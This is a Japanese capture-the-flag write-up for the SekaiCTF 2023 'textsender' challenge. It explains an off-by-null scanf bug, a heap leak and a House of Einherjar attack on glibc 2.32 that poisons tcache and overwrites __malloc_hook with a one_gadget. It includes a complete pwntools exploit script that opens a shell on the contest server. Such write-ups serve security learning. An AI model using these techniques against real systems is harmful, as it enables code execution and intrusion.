【pwn】 SekaiCTF 2023 writeup
SekaiCTFで出題されたtextsenderのwriteupです.
House of einherjarを使ってmalloc hookをone gadgetで上書きしシェルを取得するまでの大まかな流れをまとめました.
解析
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
canaryとPIEがオフになっています.libcのバージョンは2.32です.
プログラム自体の動作としては以下の6つが定義されています.(cnt変数はmain関数で定義されており,必要な関数には参照が渡されています)
- set setnder: sender構造体に
"Sender: {input}"
を入力しobj.senderに保存 - add message: p,recv,msg構造体をheapに確保し入力を要求
- edit message: getline関数で取得した文字列と一致するrecvを持つmessageのmsgメンバを変更
- print all: すべてのmessage構造体のrecvメンバとmsgメンバの中身を出力
- send all: obj.senderの中身とcnt分のmessageをfreeする.sender, (msg, recv, p)の順
struct sender {
char c[0x78];
};
struct p {
struct recv *r;
struct msg *m;
};
struct recv {
char c[0x78];
};
struct msg {
char c[0x1f8];
};
脆弱性
Off by one
文字列の入力受付はinputという関数で行われています.
ghidraでデコンパイルすると以下のようなコードになります.
void input(undefined8 ptr,undefined8 str,uint length)
{
size_t buflen;
char buf [9];
ushort short_buflen;
buf[0] = '%';
sprintf(buf + 1,"%d",(ulong)length);
buflen = strlen(buf);
short_buflen = (ushort)buflen;
buf[(int)(uint)short_buflen] = 's';
buf[(int)(short_buflen + 1)] = '%';
buf[(int)(short_buflen + 2)] = '*';
buf[(int)(short_buflen + 3)] = 'c';
buf[(int)(short_buflen + 4)] = '\0';
printf("%s",str);
__isoc99_scanf(buf,ptr);
return;
}
このコードは最終的にscanf("%{length}s*c\0", ptr)
を実行します.scanfにおいて%sはnull終端文字を挿入するので,引数として与えられるlengthは書き込み可能なbyte数-1
でなければいけません.
しかし,add message
においても,edit message
においても書き込み可能なbyte数ちょうど与えられているため,off by one(off by null)脆弱性が発生します.
Heap Leak
edit message
では任意の長さの入力を受け取ります.その後,入力された長さだけrecv構造体のはじめから1byteずつ比較を行い,すべて一致した場合,msg構造体を書き換えることができます.
recv構造体の後ろにfreeされた領域がある場合を考えると, Safe linkingによってtcacheの末尾に入っている領域のfdはheap base >> 12
になるので,これをleakすることでheap baseを知ることができます.
攻撃
off by null脆弱性とheap leakがある場合,House of Einherjarが成立することが知られています.(How2Heap PoC)
実際に試してみましょう.
まず,wrapper関数を用意します.
入力はscanfを介して行われるため,\xb
や\x20
が入力された場合例外を投げるようにしてあります.
def set_sender(sender: bytes):
if p8(0x0B) in sender:
raise Exception("Not allowed")
sla(b"> ", i2b(1))
sla(b": ", sender)
return True
def add_msg(recver: bytes, msg: bytes):
if p8(0x20) in recver or p8(0x20) in msg:
raise Exception("Not allowed")
if p8(0x0B) in recver or p8(0x0B) in msg:
raise Exception("Not allowed")
sla(b"> ", i2b(2))
if not b"You" in t.recvn(10):
t.sendline(recver)
sla(b": ", msg)
def edit_msg(name: bytes, msg: bytes) -> bytes:
sla(b"> ", i2b(3))
sla(b": ", name)
buf = t.recvline()
if not b"[-]" in buf:
sla(b": ", msg)
return buf[14:]
else:
return b""
def print_all() -> bytes:
sla(b"> ", i2b(4))
return t.recvuntil(b"------- MENU -------")[:-20]
def send_all():
sla(b"> ", i2b(5))
def exit():
sla(b"> ", i2b(6))
heap leak
前述の通り,recv構造体の後ろにfreeされた領域を作成しbruteforceしています.
recver = b"A"
add_msg(b"?", b"@")
set_sender(b"s")
send_all()
set_sender(b"s")
add_msg(recver, b"@")
edit_msg(b"?" * 0x100, b"")
set_sender(b"s")
heap_base = 0
for i in range(0x405, 0xFFF):
if i & 0xFF == 0xA or i & 0xFF00 == 0xA00:
continue
payload = recver.ljust(0x78, b"\x00") + p64(0x1F1) + p64(i)
if edit_msg(payload, b"?"):
heap_base = i << 12
break
if not heap_base:
warn("Failed to leak heap_base")
return
info(f"{heap_base=:x}")
無事にheapがleakできたので,今後使う定数を定義しておきます.
pos1 = heap_base + 0x1000
real_msg = heap_base + 0x1DD0
fake_p_list = real_msg + 0x20
House of einherjar
次にrecv構造体でoff by nullを起こしてmessage構造体をfreeしたときにbackwards consolidationが起こるようにします.
for _ in range(5):
add_msg(b"?", b"!")
fake_chunk_addr = heap_base + 0x1C10
add_msg(b"?", b"!" * 0xE0 + p64(0) + p64(0x4D1) + p64(fake_chunk_addr) * 2)
add_msg(b"?", p64(ptr_guard(pos1, fake_p_list)) * 0x30)
set_sender(b"s")
add_msg(b"?" * 0x70 + p64(0x4D0), b"@") # victim
edit_msg(b"?" * 0x300, b"") # padding
send_all()
message構造体やsenderの領域とかぶる領域をunsorted binに入れることができました.
libc leak & tcache poisoning
PIEが無効なので,pをGOTに書き換えることでlibc leakができます.set senderを使って先程確保したunsorted binから領域を切り出してpをかきかえます.
それと同時に0x200のtcache poisoningも行います.
# leak libc
got_puts = 0x404028
for _ in range(9): # empty tcache + fastbin
set_sender(b"!")
set_sender(b"A")
set_sender(b"A")
## fake p
fake_p = heap_base + 0x1EC0
set_sender(p64(0x21) + p64(ptr_guard(pos1, fake_p))[:-2])
## fake msg1
set_sender(p64(0) * 4 + p64(0x201) + p64(ptr_guard(pos1, heap_base + 0x1DE0)))
fake_msg = fake_p + 0x70
add_msg(
b"r",
p64(0) * 2
+ p64(ptr_guard(pos1, fake_msg))
+ p64(0)
+ p64(ptr_guard(pos1, fake_p_list + 0x20))
+ p64(0)
+ p64(ptr_guard(pos1, fake_p_list + 0x30)),
)
add_msg(p64(0) * 4 + p64(got_puts), b"@")
buf = print_all().split(b"\n")[2]
libc_base = s2u64(buf[buf.find(b") ") + 2 : buf.rfind(b":")]) - 0x77EC0
info(f"{libc_base=:x}")
try:
set_sender(p64(0) + p64(ptr_guard(pos1, libc_base + libc.sym["__malloc_hook"])))
except:
return
大まかに以下の3つを同時並行で行っています.
- 0x20の領域を2つ偽造 (add messageを行ったときにtcacheに不正な値が入ってコケないように)
- 0x200のtcachebinにunsorted binで書き換えられる場所を入れ,前と同様にしてmalloc_hookに書き換え
- print allでlibc leak
実行した結果しっかり0x200のtcachebinにmalloc hookが入ってること,0x20のtcachebinが偽造したところを指していることが確認できます.
one gadget
最後にmalloc_hookをone gadgetに書き換えてシェルを呼び出します.
add_msg(b"?", b"@")
add_msg(b"?", p64(libc_base + 0xCEB71))
sla(b"> ", i2b(1))
t.sendline(b"cat flag.txt")
🎉
スクリプト
最終的なスクリプトが以下になります
from pwn import *
context.arch = "amd64"
context.bits = 64
context.terminal = "tmux splitw -h".split()
context.log_level = "DEBUG"
s2sh = lambda pl: b"".join([p8(int(pl[i : i + 2], 16)) for i in range(0, len(pl), 2)])
s2u64 = lambda s: u64(s.ljust(8, b"\x00"))
i2b = lambda x: f"{x}".encode()
ptr_guard = lambda pos, ptr: (pos >> 12) ^ ptr
def solve():
sa = lambda x, y: t.sendafter(x, y)
sla = lambda x, y: t.sendlineafter(x, y)
def set_sender(sender: bytes):
if p8(0x0B) in sender:
raise Exception("Not allowed")
sla(b"> ", i2b(1))
sla(b": ", sender)
return True
def add_msg(recver: bytes, msg: bytes):
if p8(0x20) in recver or p8(0x20) in msg:
raise Exception("Not allowed")
if p8(0x0B) in recver or p8(0x0B) in msg:
raise Exception("Not allowed")
sla(b"> ", i2b(2))
if not b"You" in t.recvn(10):
t.sendline(recver)
sla(b": ", msg)
def edit_msg(name: bytes, msg: bytes) -> bytes:
sla(b"> ", i2b(3))
sla(b": ", name)
buf = t.recvline()
if not b"[-]" in buf:
sla(b": ", msg)
return buf[14:]
else:
return b""
def print_all() -> bytes:
sla(b"> ", i2b(4))
return t.recvuntil(b"------- MENU -------")[:-20]
def send_all():
sla(b"> ", i2b(5))
def exit():
sla(b"> ", i2b(6))
# heap leak
recver = b"A"
add_msg(b"?", b"@")
set_sender(b"s")
send_all()
set_sender(b"s")
add_msg(recver, b"@")
edit_msg(b"?" * 0x100, b"")
set_sender(b"s")
heap_base = 0
for i in range(0x405, 0xFFF):
if i & 0xFF == 0xA or i & 0xFF00 == 0xA00:
continue
payload = recver.ljust(0x78, b"\x00") + p64(0x1F1) + p64(i)
if edit_msg(payload, b"?"):
heap_base = i << 12
break
if not heap_base:
warn("Failed to leak heap_base")
return
info(f"{heap_base=:x}")
pos1 = heap_base + 0x1000
real_msg = heap_base + 0x1DD0
fake_p_list = real_msg + 0x20
send_all()
# empty tcachebin 0x80
set_sender(b"s")
set_sender(b"s")
# overlap unsorted
for _ in range(5):
add_msg(b"?", b"!")
fake_chunk_addr = heap_base + 0x1C10
add_msg(b"?", b"!" * 0xE0 + p64(0) + p64(0x4D1) + p64(fake_chunk_addr) * 2)
add_msg(b"?", p64(ptr_guard(pos1, fake_p_list)) * 0x30)
set_sender(b"s")
add_msg(b"?" * 0x70 + p64(0x4D0), b"@") # victim
edit_msg(b"?" * 0x300, b"") # padding
send_all()
# leak libc
got_puts = 0x404028
for _ in range(9): # empty tcache + fastbin
set_sender(b"!")
set_sender(b"A")
set_sender(b"A")
## fake p
fake_p = heap_base + 0x1EC0
set_sender(p64(0x21) + p64(ptr_guard(pos1, fake_p))[:-2])
## fake msg1
set_sender(p64(0) * 4 + p64(0x201) + p64(ptr_guard(pos1, heap_base + 0x1DE0)))
fake_msg = fake_p + 0x70
add_msg(
b"r",
p64(0) * 2
+ p64(ptr_guard(pos1, fake_msg))
+ p64(0)
+ p64(ptr_guard(pos1, fake_p_list + 0x20))
+ p64(0)
+ p64(ptr_guard(pos1, fake_p_list + 0x30)),
)
add_msg(p64(0) * 4 + p64(got_puts), b"@")
buf = print_all().split(b"\n")[2]
libc_base = s2u64(buf[buf.find(b") ") + 2 : buf.rfind(b":")]) - 0x77EC0
info(f"{libc_base=:x}")
try:
set_sender(p64(0) + p64(ptr_guard(pos1, libc_base + libc.sym["__malloc_hook"])))
except:
return
add_msg(b"?", b"@")
add_msg(b"?", p64(libc_base + 0xCEB71))
sla(b"> ", i2b(1))
t.sendline(b"cat flag.txt")
t.interactive()
debug = 0
radare = 0
while True:
# t: tubes.process.process = process( "./textsender", env={"LD_PRELOAD": "./libc-2.32.so"})
t: tubes.remote.remote = remote("chals.sekai.team", 4000)
elf: ELF = ELF("./textsender")
libc: ELF = ELF("./libc-2.32.so")
if debug:
script = """
"""
if radare:
util.proc.wait_for_debugger(util.proc.pidof(t)[0])
else:
gdb.attach(t, script)
solve()
t.close()
おわりに
How2Heap様様
Discussion